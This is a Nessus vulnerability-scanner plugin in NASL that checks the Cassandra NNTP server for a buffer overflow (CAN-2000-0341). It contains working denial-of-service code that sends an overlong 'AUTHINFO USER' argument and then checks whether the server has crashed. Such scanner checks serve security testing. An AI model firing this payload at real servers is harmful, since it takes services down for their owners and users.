1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
|
#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10388);
script_cve_id("CAN-2000-0341");
name["english"] = "Cassandra NNTP Server DoS";
name["francais"] = "Dni de service contre le serveur de news Cassandra";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "
The remote NNTP server is subject to a buffer overflow
which allows an attacker to disable it remotely by
giving a too long argument to the 'AUTHINFO USER'
command.
Solution : contact your vendor for a fix
Risk factor : Serious";
desc["francais"] = "
Il s'est avr possible de dsactiver le serveur
de news distant par un dpassement de buffer survenant
lorsqu'un argument trop long est donn la commande
'AUTHINFO USER'.
Solution : contactez votre vendeur pour un patch
Facteur de risque : Srieux";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Crashes the remote NNTP server";
summary["francais"] = "Fait planter le serveur NNTP distant";
script_summary(english:summary["english"],
francais:summary["francais"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison");
family["english"] = "Denial of Service";
family["francais"] = "Dni de service";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes");
script_require_ports("Services/nntp", 119);
exit(0);
}
port = get_kb_item("Services/nntp");
if(!port)port = 119;
soc = open_sock_tcp(port);
if(soc)
{
r = recv(socket:soc, length:8192);
if("posting allowed" >< r)
{
s = string("AUTHINFO USER ", crap(10002), "\r\n");
send(socket:soc, data:s);
close(soc);
soc2 = open_sock_tcp(port);
r2 = recv(socket:soc2, length:1024);
if(!r2)
{
security_hole(port);
}
close(soc2);
}
}
|